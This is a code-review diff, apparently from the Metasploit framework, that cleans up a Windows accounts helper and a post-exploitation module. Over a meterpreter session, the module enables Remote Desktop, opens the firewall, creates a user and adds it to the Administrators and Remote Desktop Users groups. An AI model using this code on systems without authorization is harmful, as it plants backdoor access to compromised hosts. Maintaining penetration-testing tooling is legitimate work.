Land #8873, cleanup enable_rdp, add error handling
commit
1e8edb377f
|
@ -5,7 +5,6 @@ require 'msf/core/post/windows/error'
|
|||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
|
||||
module Accounts
|
||||
include Msf::Post::Windows::Error
|
||||
|
||||
|
@ -14,7 +13,7 @@ module Accounts
|
|||
['Data2', :WORD],
|
||||
['Data3', :WORD],
|
||||
['Data4', 'BYTE[8]']
|
||||
]
|
||||
].freeze
|
||||
|
||||
DOMAIN_CONTROLLER_INFO = [
|
||||
['DomainControllerName', :LPSTR],
|
||||
|
@ -26,7 +25,7 @@ module Accounts
|
|||
['Flags', :ULONG],
|
||||
['DcSiteName', :LPSTR],
|
||||
['ClientSiteName', :LPSTR]
|
||||
]
|
||||
].freeze
|
||||
|
||||
##
|
||||
# get_domain(server_name = nil)
|
||||
|
@ -51,7 +50,8 @@ module Accounts
|
|||
nil,
|
||||
nil,
|
||||
0,
|
||||
4)
|
||||
4
|
||||
)
|
||||
|
||||
begin
|
||||
dc_info_addr = result['DomainControllerInfo']
|
||||
|
@ -85,10 +85,10 @@ module Accounts
|
|||
# :user_not_found - User specified does not exist on the given server
|
||||
# :access_denied - You do not have permission to delete the given user
|
||||
#
|
||||
# OR nil if there was an exceptional windows error (example: ran out of memory)
|
||||
# OR nil if there was an exceptional Windows error (example: ran out of memory)
|
||||
#
|
||||
# Caveats:
|
||||
# nil is returned if there is an *exceptional* windows error. That error is printed.
|
||||
# nil is returned if there is an *exceptional* Windows error. That error is printed.
|
||||
# Everything other than ':success' signifies failure
|
||||
##
|
||||
def delete_user(username, server_name = nil)
|
||||
|
@ -117,10 +117,9 @@ module Accounts
|
|||
end
|
||||
|
||||
# If we got here, then something above failed
|
||||
return nil
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
# resolve_sid(sid, system_name = nil)
|
||||
#
|
||||
|
@ -133,23 +132,23 @@ module Accounts
|
|||
#
|
||||
# Returns:
|
||||
# {
|
||||
# :name => account name (e.g. "SYSTEM")
|
||||
# :domain => domain where the account name was found. May have values such as
|
||||
# name: account name (e.g. "SYSTEM")
|
||||
# domain: domain where the account name was found. May have values such as
|
||||
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
|
||||
# :type => one of :user, :group, :domain, :alias, :well_known_group,
|
||||
# type: one of :user, :group, :domain, :alias, :well_known_group,
|
||||
# :deleted_account, :invalid, :unknown, :computer
|
||||
# :mapped => There was a mapping found for the SID
|
||||
# mapped: There was a mapping found for the SID
|
||||
# }
|
||||
#
|
||||
# OR nil if there was an exceptional windows error (example: ran out of memory)
|
||||
# OR nil if there was an exceptional Windows error (example: ran out of memory)
|
||||
#
|
||||
# Caveats:
|
||||
# If a valid mapping is not found, only { :mapped => false } will be returned
|
||||
# nil is returned if there is an *exceptional* windows error. That error is printed.
|
||||
# If an invalid system_name is provided, there will be a windows error and nil returned
|
||||
# If a valid mapping is not found, only { mapped: false } will be returned
|
||||
# nil is returned if there is an *exceptional* Windows error. That error is printed.
|
||||
# If an invalid system_name is provided, there will be a Windows error and nil returned
|
||||
##
|
||||
def resolve_sid(sid, system_name = nil)
|
||||
adv = client.railgun.advapi32;
|
||||
adv = client.railgun.advapi32
|
||||
|
||||
# Second param is the size of the buffer where the pointer will be written
|
||||
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
|
||||
|
@ -162,9 +161,12 @@ module Accounts
|
|||
case error
|
||||
when client.railgun.const('ERROR_INVALID_SID')
|
||||
# An invalid SID was supplied
|
||||
return { :type => :invalid, :mapped => false }
|
||||
return { type: :invalid, mapped: false }
|
||||
when client.railgun.const('ERROR_NONE_MAPPED')
|
||||
# There were no accounts associated with this SID
|
||||
return { mapped: false }
|
||||
else
|
||||
print_error "Unexpected windows error #{error}"
|
||||
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
@ -178,27 +180,32 @@ module Accounts
|
|||
# http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
|
||||
lp_name = lp_referenced_domain_name = 100
|
||||
cch_name = cch_referenced_domain_name = 100
|
||||
lookup = adv.LookupAccountSidA(system_name,
|
||||
lookup = adv.LookupAccountSidA(
|
||||
system_name,
|
||||
psid,
|
||||
lp_name,
|
||||
cch_name,
|
||||
lp_referenced_domain_name,
|
||||
cch_referenced_domain_name,
|
||||
1)
|
||||
1
|
||||
)
|
||||
|
||||
if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
|
||||
lp_name = cch_name = lookup['cchName']
|
||||
lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
|
||||
|
||||
lookup = adv.LookupAccountSidA(system_name,
|
||||
lookup = adv.LookupAccountSidA(
|
||||
system_name,
|
||||
psid,
|
||||
lp_name,
|
||||
cch_name,
|
||||
lp_referenced_domain_name,
|
||||
cch_referenced_domain_name,
|
||||
1)
|
||||
1
|
||||
)
|
||||
|
||||
elsif !lookup['return']
|
||||
print_error "Unexpected windows error #{lookup['GetLastError']}"
|
||||
print_error "Unexpected Windows error #{lookup['GetLastError']}"
|
||||
return nil
|
||||
end
|
||||
ensure
|
||||
|
@ -213,12 +220,12 @@ module Accounts
|
|||
case error
|
||||
when client.railgun.const('ERROR_INVALID_PARAMETER')
|
||||
# Unless the railgun call is broken, this means revision is wrong
|
||||
return { :type => :invalid }
|
||||
return { type: :invalid }
|
||||
when client.railgun.const('ERROR_NONE_MAPPED')
|
||||
# There were no accounts associated with this SID
|
||||
return { :mapped => false }
|
||||
return { mapped: false }
|
||||
else
|
||||
print_error "Unexpected windows error #{error}"
|
||||
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
@ -227,10 +234,10 @@ module Accounts
|
|||
sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
|
||||
|
||||
return {
|
||||
:name => lookup['Name'],
|
||||
:domain => lookup['ReferencedDomainName'],
|
||||
:type => sid_type,
|
||||
:mapped => true
|
||||
name: lookup['Name'],
|
||||
domain: lookup['ReferencedDomainName'],
|
||||
type: sid_type,
|
||||
mapped: true
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -305,11 +312,11 @@ module Accounts
|
|||
|
||||
# get Security Descriptor for the directory
|
||||
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
|
||||
if f['return'] && f["lpnLengthNeeded"] <= buffer_size
|
||||
sd = f["pSecurityDescriptor"]
|
||||
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
|
||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||
elsif (f['GetLastError'] == 2)
|
||||
elsif f['GetLastError'] == 122 # ERROR_INSUFFICIENT_BUFFER
|
||||
sd = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||
elsif f['GetLastError'] == 2
|
||||
vprint_error("The system cannot find the file specified: #{dir}")
|
||||
return nil
|
||||
else
|
||||
|
@ -322,16 +329,15 @@ module Accounts
|
|||
len = a["PrivilegeSetLength"]
|
||||
|
||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||
if !r["return"] then return nil end
|
||||
if r["GrantedAccess"] > 0 then result << "R" end
|
||||
return nil if !r["return"]
|
||||
result << "R" if r["GrantedAccess"] > 0
|
||||
|
||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
if !w["return"] then return nil end
|
||||
if w["GrantedAccess"] > 0 then result << "W" end
|
||||
return nil if !w["return"]
|
||||
result << "W" if w["GrantedAccess"] > 0
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
end # Accounts
|
||||
end # Windows
|
||||
end # Post
|
||||
|
|
|
@ -11,7 +11,9 @@ class MetasploitModule < Msf::Post
|
|||
include Msf::Post::File
|
||||
|
||||
def initialize(info = {})
|
||||
super( update_info( info,
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows Manage Enable Remote Desktop',
|
||||
'Description' => %q{
|
||||
This module enables the Remote Desktop Service (RDP). It provides the options to create
|
||||
|
@ -21,7 +23,8 @@ class MetasploitModule < Msf::Post
|
|||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
@ -30,13 +33,20 @@ class MetasploitModule < Msf::Post
|
|||
OptBool.new('ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
|
||||
OptBool.new('FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
|
||||
OptInt.new('LPORT', [ false, 'Local port to forward remote connection.', 3389])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['ENABLE'] or (datastore['USERNAME'] and datastore['PASSWORD'])
|
||||
cleanup_rc = store_loot("host.windows.cleanup.enable_rdp", "text/plain", session,"" ,
|
||||
"enable_rdp_cleanup.rc", "enable_rdp cleanup resource file")
|
||||
if datastore['ENABLE'] || (datastore['USERNAME'] && datastore['PASSWORD'])
|
||||
cleanup_rc = store_loot(
|
||||
"host.windows.cleanup.enable_rdp",
|
||||
"text/plain",
|
||||
session,
|
||||
"",
|
||||
"enable_rdp_cleanup.rc",
|
||||
"enable_rdp cleanup resource file"
|
||||
)
|
||||
|
||||
if datastore['ENABLE']
|
||||
if is_admin?
|
||||
|
@ -46,7 +56,7 @@ class MetasploitModule < Msf::Post
|
|||
print_error("Insufficient privileges, Remote Desktop Service was not modified")
|
||||
end
|
||||
end
|
||||
if datastore['USERNAME'] and datastore['PASSWORD']
|
||||
if datastore['USERNAME'] && datastore['PASSWORD']
|
||||
if is_admin?
|
||||
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
|
||||
else
|
||||
|
@ -74,12 +84,11 @@ class MetasploitModule < Msf::Post
|
|||
else
|
||||
print_status "\tRDP is already enabled"
|
||||
end
|
||||
rescue::Exception => e
|
||||
rescue StandardError => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def enabletssrv(cleanup_rc)
|
||||
service_name = "termservice"
|
||||
srv_info = service_info(service_name)
|
||||
|
@ -87,11 +96,11 @@ class MetasploitModule < Msf::Post
|
|||
print_status "Setting Terminal Services service startup mode"
|
||||
if srv_info[:starttype] != START_TYPE_AUTO
|
||||
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
|
||||
unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS)
|
||||
unless service_change_config(service_name, starttype: "START_TYPE_AUTO") == Windows::Error::SUCCESS
|
||||
print_error("\tUnable to change start type to Auto")
|
||||
end
|
||||
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
|
||||
if (service_start(service_name) == Windows::Error::SUCCESS)
|
||||
if service_start(service_name) == Windows::Error::SUCCESS
|
||||
print_good("\tRDP Service Started")
|
||||
end
|
||||
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc stop termservice\"")
|
||||
|
@ -102,17 +111,12 @@ class MetasploitModule < Msf::Post
|
|||
print_status "\tOpening port in local firewall if necessary"
|
||||
cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
|
||||
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
|
||||
rescue::Exception => e
|
||||
rescue StandardError => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def addrdpusr(username, password, cleanup_rc)
|
||||
rdu = resolve_sid("S-1-5-32-555")[:name]
|
||||
admin = resolve_sid("S-1-5-32-544")[:name]
|
||||
|
||||
print_status "Setting user account for logon"
|
||||
print_status "\tAdding User: #{username} with Password: #{password}"
|
||||
begin
|
||||
|
@ -121,6 +125,19 @@ class MetasploitModule < Msf::Post
|
|||
return
|
||||
end
|
||||
|
||||
rdu_sid = resolve_sid("S-1-5-32-555")
|
||||
admin_sid = resolve_sid("S-1-5-32-544")
|
||||
|
||||
if !rdu_sid[:mapped] || !admin_sid[:mapped]
|
||||
print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
|
||||
print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
|
||||
print_error("\tNot adding user #{username}")
|
||||
return
|
||||
end
|
||||
|
||||
rdu = rdu_sid[:name]
|
||||
admin = admin_sid[:name]
|
||||
|
||||
user_added = false
|
||||
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
|
||||
|
||||
|
@ -149,17 +166,12 @@ class MetasploitModule < Msf::Post
|
|||
print_error("\t#{l.chomp}")
|
||||
end
|
||||
end
|
||||
rescue ::Exception => e
|
||||
rescue StandardError => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
def check_user(user)
|
||||
output = cmd_exec('cmd.exe', '/c net user')
|
||||
if output.include?(user)
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
cmd_exec('cmd.exe', '/c net user').include?(user)
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue